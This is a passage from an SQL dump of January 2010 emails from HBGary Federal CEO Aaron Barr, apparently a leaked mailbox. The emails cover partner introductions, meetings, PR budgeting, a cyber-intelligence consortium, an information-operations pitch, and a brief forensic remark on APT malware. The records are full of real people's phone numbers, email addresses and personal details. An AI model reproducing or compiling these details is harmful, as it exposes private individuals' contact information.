\r\n\r\n\r\n',11868,'aaron_hbgary_com/11868.html'),(1306,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000336.M243098P3547Q1307.eml','\"Nieves, Alexander\" <Alexander.Nieves@mantech.com>','Re: Checking in','Hi Alex,\r\n\r\nDo you have an admin I can work with on your availability for a meeting?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 19, 2010, at 9:05 AM, \"Nieves, Alexander\"  wrote:\r\n\r\n> Yes indeed, thanks for the reminder. how much time would you need\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, January 19, 2010 8:50 AM\r\n> To: Nieves, Alexander\r\n> Subject: Checking in\r\n>\r\n> Hi Alex,\r\n>\r\n> Are you still interested in setting up an HBGary product demo?\r\n>\r\n> I was at the Cyber conference in Colorado Springs last week and\r\n> spoke to\r\n> a Col. Thomas French, in one of his talks he specifically mentioned\r\n> cyber based information operations, specifically about the types we\r\n> discussed in our last meeting, just not on the commercial side.\r\n> Anyway,\r\n> are you still interested in pursuing this idea?  Northrop is loosing\r\n> work in that area and is likely going to have some of my old team\r\n> coming\r\n> available in Colorado Springs.  These are people you just don\'t come\r\n> across very easily.  Game developers, cartoonists, 3d modelers and\r\n> animators, script writers (he has actually won many hollywood script\r\n> contests), etc.  I am very eager to build up this capability on mobile\r\n> platforms and would like to work together on this if you are still\r\n> interested.\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',12901,'aaron_hbgary_com/12901.html'),(1307,'2010-01-21','\"John R. Williams\" <johnrw@proinfomd.com>','/aaron@hbgary.com/new/1297000336.M33051P3547Q1306.eml','\"John Farrell\" <john@endgames.us>,\"Aaron Barr\" <aaron@hbgary.com>','RE: virtual introduction','John,\r\n\r\nThank you for the virtual introduction.\r\n\r\nAaron,\r\n\r\nI have a simple policy in life - \"do whatever John Farrell tells me to do\".\r\nHe says we should get together, so let\'s do just that.\r\n\r\nThere is a hotel in your office complex.  I suggest we meet there, have a\r\ncup of coffee and discuss how we could help each other.  What does your\r\nschedule look like?\r\n\r\nJohn\r\n301 237 0007\r\n\r\n\r\n-----Original Message-----\r\nFrom: John Farrell [mailto:john@endgames.us] \r\nSent: Wednesday, January 20, 2010 3:46 PM\r\nTo: Aaron Barr; John R. Williams\r\nSubject: virtual introduction\r\n\r\nAaron, John,\r\n\r\nAs a follow up to yesterday\'s meeting, please allow me to introduce you two.\r\nAaron is CEO, HB Gary Federal and John is CEO, ProInfo. Based on our\r\ndiscussion, i highly recommend you two meet and talk about your\r\ncapabilities/products. I think there might be a joint opportunity to work\r\ntogether. I will let you two work the details directly. Let me know how else\r\nI can assist. Good luck.\r\n\r\nJohn\r\n\r\nJohn M. Farrell\r\nVice President, Federal\r\njohn@endgames.us\r\n703.622.9025\r\n\r\n\r\n\r\n\r\n\r\n',5634,'aaron_hbgary_com/5634.html'),(1308,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000336.M417932P3547Q1308.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Costs','Hi Karen,\r\n\r\nHBGarys Operating Agreement is almost finalized, we are setting up our accounts, etc.  I can\'t remember what was your cost hourly.  I will be working with Ted to figure out what we can afford.  I did not get Palantirs comment yesterday, I will press gently for it today.  I still owe you a list of conferences that I was looking at.  I would very much like to comment on the ramifications of the most recent advanced attacks on Google and others.\r\n\r\nI am working on a cyber intelligence consortium with a set of innovative small companies to demonstrate end-to-end cyber intelligence leading to cyber security.  This consortium includes HBGary, Palantir, EndGame Systems, Netwitness, and Splunk with HBGary Federal and Northrop Grumman Xetron as the integrators and services component.  I will want to do a press release on this in a few weeks (hopefully a bit faster).  Later this spring my goal is to hold a cyber intelligence summit and invite government and industry.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2789,'aaron_hbgary_com/2789.html'),(1309,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000336.M591434P3547Q1309.eml','\"Bill Hornish\" <bhornish@splunk.com>','Re: virtual introduction','Thanks Bill,I would very much like to get together and discuss a few ideas with you. &nbsp;I am free most of the rest of the week or we can work on a time for next week.AaronOn Jan 20, 2010, at 5:28 PM, Bill Hornish wrote:\r\n\r\nHi Aaron,\r\n\r\nThanks for the intro email John. HB Gary looks like a very cool company. I saw you downloaded already. Joshua Hritz and I are with Splunk’s Federal Business Development team. &nbsp;I’m happy to tell you all about my personal experience as the PM of Network Monitoring and CIRT at the State Department for Mantech as an early adopter of Splunk. Joshua is working with engineers from HB Gary who have shown interest in Splunk already, and would work with you on partnership, etc.\r\n\r\nA little background on Splunk ? &nbsp;Splunk has been growing in the Federal Government since 2006. We have over 1,500 customers globally, and over 75% of the Federal Agencies are using Splunk. &nbsp;&nbsp;Splunk is software that revolutionizes how enterprises manage, secure and audit their IT data. &nbsp;It provides a way to quickly and efficiently process vast amounts of unstructured IT data intelligently, in order to deliver useful results. Splunk makes all organization’s IT data available for a variety of functions from Application Management, Security, Compliance and to Operations Management. &nbsp;Splunk’s software solution can rapidly scale to terabytes of data per day. \r\n\r\nWe look forward to hearing from you.\r\n\r\nThank you,\r\n\r\nBill Hornish,\r\nFederal Business Development Manager\r\n\r\nsplunk &gt; \r\n(O) 202-248-3456\r\n(C) 202-251-4670\r\nbhornish@splunk.com\r\nwww.splunk.com\r\n\r\nFrom: John Farrell &lt;john@endgames.us&gt;\r\nDate: Wed, 20 Jan 2010 12:38:28 -0800\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Bill Hornish &lt;bhornish@splunk.com&gt;\r\nSubject: virtual introduction\r\n\r\nAaron, Bill, \r\n\r\nAs a follow up to yesterday\'s meeting and calls, I would like to introduce you two and encourage you to get together soon. I\'ve worked with Bill for several years in his capacity with Mantech. He can explain Splunk and how it could support HB Gary Federal\'s business strategy. Additionally, his experience at Mantech may provide you with additional insight into ways you can partner with them too. You two can work out the details directly. Let me know how else I can assist. Talk with you soon. \r\n\r\nJohn\r\n\r\nJohn M. Farrell\r\nVice President, Federal\r\njohn@endgames.us\r\n703.622.9025\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7573,'aaron_hbgary_com/7573.html'),(1310,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000336.M772212P3547Q1310.eml','\"John R. Williams\" <johnrw@proinfomd.com>','Re: virtual introduction','Sounds good John.  Which office complex?  I work out of my home or out of a flex office space in Tysons Corner, I live in Mclean.  If your talking about our Bethesda office, I don\'t get up there a lot, but I am flexible.  Lets find a good time and place.\r\n\r\nAaron\r\nOn Jan 21, 2010, at 6:41 AM, John R. Williams wrote:\r\n\r\n> John,\r\n> \r\n> Thank you for the virtual introduction.\r\n> \r\n> Aaron,\r\n> \r\n> I have a simple policy in life - \"do whatever John Farrell tells me to do\".\r\n> He says we should get together, so let\'s do just that.\r\n> \r\n> There is a hotel in your office complex.  I suggest we meet there, have a\r\n> cup of coffee and discuss how we could help each other.  What does your\r\n> schedule look like?\r\n> \r\n> John\r\n> 301 237 0007\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: John Farrell [mailto:john@endgames.us] \r\n> Sent: Wednesday, January 20, 2010 3:46 PM\r\n> To: Aaron Barr; John R. Williams\r\n> Subject: virtual introduction\r\n> \r\n> Aaron, John,\r\n> \r\n> As a follow up to yesterday\'s meeting, please allow me to introduce you two.\r\n> Aaron is CEO, HB Gary Federal and John is CEO, ProInfo. Based on our\r\n> discussion, i highly recommend you two meet and talk about your\r\n> capabilities/products. I think there might be a joint opportunity to work\r\n> together. I will let you two work the details directly. Let me know how else\r\n> I can assist. Good luck.\r\n> \r\n> John\r\n> \r\n> John M. Farrell\r\n> Vice President, Federal\r\n> john@endgames.us\r\n> 703.622.9025\r\n> \r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7061,'aaron_hbgary_com/7061.html'),(1311,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000336.M942814P3547Q1311.eml','nolan@informationsecuritysolutionsllc.com','Re: Services contract for commercial IR services','Nolan,Ted is out in the Springs, but how about we meet next week. &nbsp;Any days better than others?AaronOn Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n\r\nThanks Maria.\r\n&nbsp;\r\nAaron and Ted - I could link up in person next week if you \r\nguys are interested.\r\n&nbsp;\r\nBest,\r\nNolan\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Tuesday, January 19, 2010 4:51 PMTo: Aaron Barr; \r\nTed@hbgary.comCc: \r\nnolan@informationsecuritysolutionsllc.comSubject: Re: Services \r\ncontract for commercial IR services\r\n\r\nAaron / Ted\r\n&nbsp;\r\nI spoke today with Nolan Clifford.&nbsp; He may&nbsp;be helpful&nbsp;with \r\nthe contract terms for IR Services.&nbsp; Nolan has an NDA with HBGary.\r\n&nbsp;\r\nNolan is available later this week or next to meet or speak with on the \r\nphone:\r\n&nbsp;\r\nYou may reach Nolan at (703) 945-7480.&nbsp; Nolan is expecting your \r\ncall.\r\n&nbsp;\r\nMaria\r\n&nbsp;\r\nNolan Clifford Bio\r\nCEO of Information Security Solutions LLC, providing a full \r\nrange of security consulting services to US Federal, Global Public Sector and \r\nCommercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and \r\nPrivacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the \r\nWashington Federal Practice. Former Director of Information Assurance, General \r\nDynamics Network Systems, National and Defense Intelligence Solutions and former \r\nDirector of the Federal Security Practice at Unisys Corporation. Information \r\nWarfare Officer for the Naval Reserve Network Warfare Command. Former active \r\nduty Naval Cryptology Officer. CISSP. \r\n&nbsp;-- Maria Lucas, CISSP | Account Executive | \r\nHBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 \r\nFax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6927,'aaron_hbgary_com/6927.html'),(1312,'2010-01-21','johnrw@proinfomd.com','/aaron@hbgary.com/new/1297000337.M114288P3547Q1312.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: virtual introduction','Aaron\r\nI wrongly assumed Bethesda.  Sorry\r\nI am meeting John at 10:30 today at Kenwood Country Club 5601 River Road - if you can make it on short notice\r\nIf not give me some open dates for you\r\nThx\r\nJohn\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: John Williams\r\nSubject: Re: virtual introduction\r\nSent: Jan 21, 2010 8:47 AM\r\n\r\nSounds good John.  Which office complex?  I work out of my home or out of a flex office space in Tysons Corner, I live in Mclean.  If your talking about our Bethesda office, I don\'t get up there a lot, but I am flexible.  Lets find a good time and place.\r\n\r\nAaron\r\nOn Jan 21, 2010, at 6:41 AM, John R. Williams wrote:\r\n\r\n> John,\r\n> \r\n> Thank you for the virtual introduction.\r\n> \r\n> Aaron,\r\n> \r\n> I have a simple policy in life - \"do whatever John Farrell tells me to do\".\r\n> He says we should get together, so let\'s do just that.\r\n> \r\n> There is a hotel in your office complex.  I suggest we meet there, have a\r\n> cup of coffee and discuss how we could help each other.  What does your\r\n> schedule look like?\r\n> \r\n> John\r\n> 301 237 0007\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: John Farrell [mailto:john@endgames.us] \r\n> Sent: Wednesday, January 20, 2010 3:46 PM\r\n> To: Aaron Barr; John R. Williams\r\n> Subject: virtual introduction\r\n> \r\n> Aaron, John,\r\n> \r\n> As a follow up to yesterday\'s meeting, please allow me to introduce you two.\r\n> Aaron is CEO, HB Gary Federal and John is CEO, ProInfo. Based on our\r\n> discussion, i highly recommend you two meet and talk about your\r\n> capabilities/products. I think there might be a joint opportunity to work\r\n> together. I will let you two work the details directly. Let me know how else\r\n> I can assist. Good luck.\r\n> \r\n> John\r\n> \r\n> John M. Farrell\r\n> Vice President, Federal\r\n> john@endgames.us\r\n> 703.622.9025\r\n> \r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nSent from my Verizon Wireless BlackBerry',14314,'aaron_hbgary_com/14314.html'),(1313,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000337.M299572P3547Q1313.eml','\"MB Toth\" <mbt.rbtoth@starpower.net>','Re: More Conferences','Thanks Mike.I am just getting caught up on some of this. &nbsp;Our operating agreement should be signed today, our funds available. &nbsp;Ted and I will be working out our budget which includes some consulting hours for PR, Accounting, BD, etc, so Ted and I will be talking about what we can afford for your services in the short term.I think I had mentioned the idea of a cyber consortium to you when we had lunch. &nbsp;That idea is coming together. &nbsp;We will start with cyber intelligence then when we have the capabilities fused build in the hooks for cybersecurity. &nbsp;Need the information before you can act.here are the companies on board and their area of expertise.Application - HBGaryHost - SplunkNetwork - NetwitnessExternal - EndGame SystemsSocial/Link - PalantirHBGary Federal and Xetron will be the integrators and service providers.This is a full end to end cyber intelligence solution that can easily turn in to a end-to-end cybersecurity solutions, host to internet, defense to offense. &nbsp;Our goal, be the space-X for cyber intelligence. &nbsp;We can do it better, cheaper, with more agility. &nbsp;And to start with all unclass.We also will have some pursuits coming up with either Xetron or TASC that we will be pursing that we might need some writing help on.AaronOn Jan 6, 2010, at 11:25 AM, MB Toth wrote:DoD Cyber Crime Conference 2010St. Louis, Missouri22-29 January 2010&nbsp;AFCEA West 2010San Diego, California2-4 February 2010&nbsp;USEUCOM Intelligence Summit and Technology ExpositionHeidelberg, Germany15-17 February 2010&nbsp;Satellite 2010 ConferenceGaylord National Convention CenterNational Harbor, Maryland15-18 March 2010&nbsp;NGA Industry Day 2010 (Classified – Secret)Heritage Conference CenterChantilly, Virginia1 April 2010&nbsp;AFCEA Spring Intelligence Symposium (Classified–TS SI/TK)Defense Intelligence Analysis Center (DIAC)21-22 April 2010Bolling Air Force BaseWashington, D.C.&nbsp;4th Annual Border Security ExpoPhoenix Convention Center28-29 April 2010Phoenix, Arizona&nbsp;DoDIIS WorldwidePhoenix, Arizonia23-27 May 2010\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8378,'aaron_hbgary_com/8378.html'),(1314,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000337.M649893P3547Q1314.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: INVITATION TO EXHIBIT: Agile Combat Support Conference 2010','sorry late. &nbsp;Not really, at least not at this time.AaronOn Jan 5, 2010, at 1:41 PM, Penny Hoglund wrote:&nbsp;&nbsp;From:&nbsp;DeeAnn Buonaccorsi [mailto:deeann@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, January 05, 2010 10:40 AMTo:&nbsp;\'Penny Leavy\'Subject:&nbsp;FW: INVITATION TO EXHIBIT: Agile Combat Support Conference 2010&nbsp;Are you interested?&nbsp;DeeAnn BuonaccorsiOffice ManagerHBGary, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864Tel:&nbsp; 916-459-4727 ext. 101Fax: 916-481-1460Email&nbsp;&nbsp;deeann@hbgary.com&nbsp;From:&nbsp;Technology Forums [mailto:LRoberson@technologyforums.com]&nbsp;Sent:&nbsp;Tuesday, January 05, 2010 10:30 AMTo:&nbsp;deeann@hbgary.comSubject:&nbsp;INVITATION TO EXHIBIT: Agile Combat Support Conference 2010&nbsp;&lt;~WRD000.jpg&gt;&lt;image001.jpg&gt;INVITATION TO EXHIBIT&nbsp;&lt;image002.jpg&gt;&lt;image002.jpg&gt;&lt;image002.jpg&gt;Air Force Agile Combat Support&nbsp;Modernization Planning Conference 2010ACS—Partnering for SuccessConference:&nbsp; February 1-3, 2010&nbsp; |&nbsp;&nbsp;&nbsp;Location:&nbsp;&nbsp;Henderson, NVwww.AgileCombat.comConference FocusAgile Combat Support (ACS) is a U.S. Air Force core competency that encompasses the majority of functions on any base, and 70-80% of deployed functions. The&nbsp;ACS Modernization Planning Conference&nbsp;brings together personnel from the AF ACS, Research, Development, Test and Acquisition sectors to exchange information, learn about the continuing evolution in the AF\'s capability-based planning process, explore advances in potential materiel solutions for AF ACS needs, and help shape the future of the AF\'s ACS capabilities through modernization.&nbsp;Since support of the event has moved to the Air Staff A4 Office, the 2010 ACS Conference has expanded beyond its previous modernization focus to greater collaboration with coalition partners and industry to maximize knowledge of current capabilities and promote development of new capabilities. The conference encourages and facilitates a robust crossflow of information among end users, solution providers, policy influencers and fiscal advocates and aims to review of progress being made to ensure ACS is postured to enter the upcoming bi-annual AF Capabilities Review and Risk Assessment process.&nbsp;Conference PurposeThe ACS Conference is a&nbsp;networking and information-sharing opportunity focused on the needs and shortfalls in Air Force ACS across the U.S. Sister Services and among its coalition partners. The goal of the event is to determine the best solutions through new development, modernization or replacement. This is why the \"brass\" come—to deal with real-world problems in today\'s fight and to try to get a headstart on tomorrow\'s battles through the lens of modernization and cooperation.AttendanceApproximately 450 Air Force decision-makers are expected at the 2010 event, including senior- and General Officer-level briefers and coalition partners. This year\'s conference includes the semi-annual ACS Colonels Advisory Group (CAG) meeting.&nbsp;Conference TopicsThe event provides a venue for developers of potential ACS solutions to showcase their capabilities in these and other areas:Warfighter IntegrationCapability-Based Planning, Programs and ExecutionTactical ACSModernizationBuilding Partner Capability through ACSUSAF Air Expeditionary CenterExposition FocusACS covers a wide range of disciplines that include various focus areas for modernization and deployability for the Air Force and coalition partners. ACS encompasses everything not directly involved with aircraft production and the manning associated with them. A few examples of the type of solutions attendees seek are listed below.EOD (Explosive Ordinance Disposal), as well as bomb detection and response/protection activitiesHow to deal with, treat and record various medical problems associated with deployment and wartime injuries such as emergency care and continuity of care and rehabilitationRobotics in all forms, including UAVs, that protect our troops from harm or enhance their ability to perform hazardous, repetitive and/or strenuous tasksLogistics support—deployed and in garrison—including environmental considerations and infrastructure improvements (alternative power and clean or sterile water are good examples)&nbsp;Force protection, from normal physical protection (examples: weapons, body armor, antimicrobial fabric, Kevlar, mobile heating and cooling mechanisms) to secure communications and enable detection and protection from nuclear, biological, chemical and high energy threatsTraining and human factorsAirfields, arresting systems, fuels and powerPersonnel care, feeding and protectionExhibiting, Advertising and SponsorshipsIf you are interested in exhibiting, advertising or supporting the conference with a sponsorship, please contact me or your Technology Forums Sales Representative.&nbsp;Exhibitor Prospectus:&nbsp;http://www.technologyforums.com/exhibitors/downloads/10AS.pdfThe Prospectus includes pricing and available vendor opportunities.&nbsp;Exposition Floorplan:&nbsp;http://www.expocadvr.com/host2/techforums/10AS/start.html&nbsp;\"T\" SykesTechnology ForumsPhone: (703) 740-1957E-mail:&nbsp;TSykes@TechnologyForums.comWeb:&nbsp;http://www.TechnologyForums.com&lt;image003.png&gt;&lt;~WRD000.jpg&gt;To forward this e-mail to a friend or colleague:&nbsp;click hereDo not wish to receive ANY information from us in the future?&nbsp;click hereOr write to: Technology Forums, Direct Marketing Productions, Inc., 14408 Chantilly Crossing Lane, Box 662, Chantilly, VA 20151Please Note: This will permanently remove you from our mailing list and you may miss out on other opportunities of interest to you.&lt;image002.jpg&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2702,'aaron_hbgary_com/2702.html'),(1315,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000337.M839714P3547Q1315.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Health Plan','Hi DeeAnn,\r\n\r\nWhat is the status of the health plan?  Do I need to do anything else?  I turned in my stuff to Jeff I thought that would start the ball rolling.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8194,'aaron_hbgary_com/8194.html'),(1316,'2010-01-21','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297000338.M20437P3547Q1316.eml','\"Aaron Barr\" <adbarr@mac.com>,\"Aaron Barr\" <adbarr@mac.com>,,,','Re: There you go...','I hope you guys looked at the screenshot I sent yesterday about the aurora initiated malware.  I saw this blog post this morning:http://blog.mandiant.com/archives/730\r\nIt seems to reassure me that the malware we have is APT related.  We do have a malicious dll in iexplore.exe and a fake svchost.exe.Our svchost is actually in c:\\windows\\systom32 \r\nThis is the hiding in plain site that the blog is talking about.  On Wed, Jan 20, 2010 at 4:14 PM, Aaron Barr &lt;adbarr@mac.com&gt; wrote:\r\nI second that.From my iPhone\r\nOn Jan 20, 2010, at 3:54 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote: \r\nGuys,\r\n \r\nWe should start getting vocal.\r\n \r\n-Greg\r\nOn Wed, Jan 20, 2010 at 11:00 AM, Aaron Barr &lt;adbarr@mac.com&gt; wrote:\r\n\r\nhttp://blogs.siliconvalley.com/gmsv/2010/01/digital-dna-evidence-suggests-chinese-hand-in-google-hack.html\r\n\r\nFrom my iPhone\r\n\r\n\r\n',12934,'aaron_hbgary_com/12934.html'),(1317,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000338.M205240P3547Q1317.eml','\"Matt Sturges\" <msturges@apple.com>,\"Matt Sturges\" <msturges@apple.com>','Re: Apple Intro','Thanks Matt,\r\n\r\nIt was great meeting you as well.  I will definately give you a ring next time we are out your way.\r\n\r\nAndy.  Give me another few weeks.  My clearances are just getting re-instated since moving to a different company, but I definitely want to discuss a few things.\r\n\r\nAaron\r\n\r\nOn Jan 15, 2010, at 8:01 PM, Matt Sturges wrote:\r\n\r\n> Aaron,\r\n> \r\n> Great meeting you this week at the conference, hopefully the rest of the week went well for you.\r\n> \r\n> Per our conversation, I\'ve cc\'d Andy Kemp from our team. Andy holds a TS and covers our Intel side of the business.\r\n> \r\n> Andy, Aaron, recently took over as CEO for HB Gary Federal, but came over from NG where he worked on a lot of interesting projects. Specifically he has one that he wanted to talk to you about that requires a clearance.\r\n> \r\n> I\'ve attached both of your vcards so you guys can connect.\r\n> \r\n> Aaron, let me know when you make it out west and we can hook up at Apple.\r\n> \r\n> Thanks,\r\n> \r\n> Matt\r\n> \r\n> \r\n> \r\n> ---------------------------------------\r\n> Matt Sturges\r\n> Western Regional Sales Manager\r\n> Department of Defense\r\n> c. 650.868.2870\r\n> f. 866-316-5404\r\n> msturges@apple.com\r\n> ---------------------------------------\r\n> \r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6466,'aaron_hbgary_com/6466.html'),(1318,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000338.M426213P3547Q1318.eml','johnrw@proinfomd.com','Re: virtual introduction','Sure I think I can make that.  Not to far from me.\r\n\r\nAaron\r\n\r\nOn Jan 21, 2010, at 8:53 AM, johnrw@proinfomd.com wrote:\r\n\r\n> Aaron\r\n> I wrongly assumed Bethesda.  Sorry\r\n> I am meeting John at 10:30 today at Kenwood Country Club 5601 River Road - if you can make it on short notice\r\n> If not give me some open dates for you\r\n> Thx\r\n> John\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: John Williams\r\n> Subject: Re: virtual introduction\r\n> Sent: Jan 21, 2010 8:47 AM\r\n> \r\n> Sounds good John.  Which office complex?  I work out of my home or out of a flex office space in Tysons Corner, I live in Mclean.  If your talking about our Bethesda office, I don\'t get up there a lot, but I am flexible.  Lets find a good time and place.\r\n> \r\n> Aaron\r\n> On Jan 21, 2010, at 6:41 AM, John R. Williams wrote:\r\n> \r\n>> John,\r\n>> \r\n>> Thank you for the virtual introduction.\r\n>> \r\n>> Aaron,\r\n>> \r\n>> I have a simple policy in life - \"do whatever John Farrell tells me to do\".\r\n>> He says we should get together, so let\'s do just that.\r\n>> \r\n>> There is a hotel in your office complex.  I suggest we meet there, have a\r\n>> cup of coffee and discuss how we could help each other.  What does your\r\n>> schedule look like?\r\n>> \r\n>> John\r\n>> 301 237 0007\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: John Farrell [mailto:john@endgames.us] \r\n>> Sent: Wednesday, January 20, 2010 3:46 PM\r\n>> To: Aaron Barr; John R. Williams\r\n>> Subject: virtual introduction\r\n>> \r\n>> Aaron, John,\r\n>> \r\n>> As a follow up to yesterday\'s meeting, please allow me to introduce you two.\r\n>> Aaron is CEO, HB Gary Federal and John is CEO, ProInfo. Based on our\r\n>> discussion, i highly recommend you two meet and talk about your\r\n>> capabilities/products. I think there might be a joint opportunity to work\r\n>> together. I will let you two work the details directly. Let me know how else\r\n>> I can assist. Good luck.\r\n>> \r\n>> John\r\n>> \r\n>> John M. Farrell\r\n>> Vice President, Federal\r\n>> john@endgames.us\r\n>> 703.622.9025\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Sent from my Verizon Wireless BlackBerry\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6195,'aaron_hbgary_com/6195.html'),(1319,'2010-01-21','johnrw@proinfomd.com','/aaron@hbgary.com/new/1297000338.M635292P3547Q1319.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: virtual introduction','Great\nI will meet you in the lobby\n------Original Message------\nFrom: Aaron Barr\nTo: John Williams\nSubject: Re: virtual introduction\nSent: Jan 21, 2010 9:00 AM\n\nSure I think I can make that.  Not to far from me.\n\nAaron\n\nOn Jan 21, 2010, at 8:53 AM, johnrw@proinfomd.com wrote:\n\n> Aaron\n> I wrongly assumed Bethesda.  Sorry\n> I am meeting John at 10:30 today at Kenwood Country Club 5601 River Road - if you can make it on short notice\n> If not give me some open dates for you\n> Thx\n> John\n> ------Original Message------\n> From: Aaron Barr\n> To: John Williams\n> Subject: Re: virtual introduction\n> Sent: Jan 21, 2010 8:47 AM\n> \n> Sounds good John.  Which office complex?  I work out of my home or out of a flex office space in Tysons Corner, I live in Mclean.  If your talking about our Bethesda office, I don\'t get up there a lot, but I am flexible.  Lets find a good time and place.\n> \n> Aaron\n> On Jan 21, 2010, at 6:41 AM, John R. Williams wrote:\n> \n>> John,\n>> \n>> Thank you for the virtual introduction.\n>> \n>> Aaron,\n>> \n>> I have a simple policy in life - \"do whatever John Farrell tells me to do\".\n>> He says we should get together, so let\'s do just that.\n>> \n>> There is a hotel in your office complex.  I suggest we meet there, have a\n>> cup of coffee and discuss how we could help each other.  What does your\n>> schedule look like?\n>> \n>> John\n>> 301 237 0007\n>> \n>> \n>> -----Original Message-----\n>> From: John Farrell [mailto:john@endgames.us] \n>> Sent: Wednesday, January 20, 2010 3:46 PM\n>> To: Aaron Barr; John R. Williams\n>> Subject: virtual introduction\n>> \n>> Aaron, John,\n>> \n>> As a follow up to yesterday\'s meeting, please allow me to introduce you two.\n>> Aaron is CEO, HB Gary Federal and John is CEO, ProInfo. Based on our\n>> discussion, i highly recommend you two meet and talk about your\n>> capabilities/products. I think there might be a joint opportunity to work\n>> together. I will let you two work the details directly. Let me know how else\n>> I can assist. Good luck.\n>> \n>> John\n>> \n>> John M. Farrell\n>> Vice President, Federal\n>> john@endgames.us\n>> 703.622.9025\n>> \n>> \n>> \n>> \n>> \n> \n> Aaron Barr\n> CEO\n> HBGary Federal Inc.\n> \n> \n> \n> \n> \n> Sent from my Verizon Wireless BlackBerry\n\nAaron Barr\nCEO\nHBGary Federal Inc.\n\n\n\n\n\r\nSent from my Verizon Wireless BlackBerry',895,'aaron_hbgary_com/895.html'),(1320,'2010-01-21','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000338.M856805P3547Q1320.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Costs','Great Aaron. My hourly rate is $100.&nbsp;Please let me know what you would like to budget per month for PR.&nbsp;We can plan to put out the Palantir release on Monday&nbsp;if we get final draft back today or tomorrow. Best, Karen--- On Thu, 1/21/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: CostsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Ted Vera\" &lt;ted@hbgary.com&gt;Date: Thursday, January 21, 2010, 5:41 AM\r\nHi Karen,HBGarys Operating Agreement is almost finalized, we are setting up our accounts, etc.&nbsp; I can\'t remember what was your cost hourly.&nbsp; I will be working with Ted to figure out what we can afford.&nbsp; I did not get Palantirs comment yesterday, I will press gently for it today.&nbsp; I still owe you a list of conferences that I was looking at.&nbsp; I would very much like to comment on the ramifications of the most recent advanced attacks on Google and others.I am working on a cyber intelligence consortium with a set of innovative small companies to demonstrate end-to-end cyber intelligence leading to cyber security.&nbsp; This consortium includes HBGary, Palantir, EndGame Systems, Netwitness, and Splunk with HBGary Federal and Northrop Grumman Xetron as the integrators and services component.&nbsp; I will want to 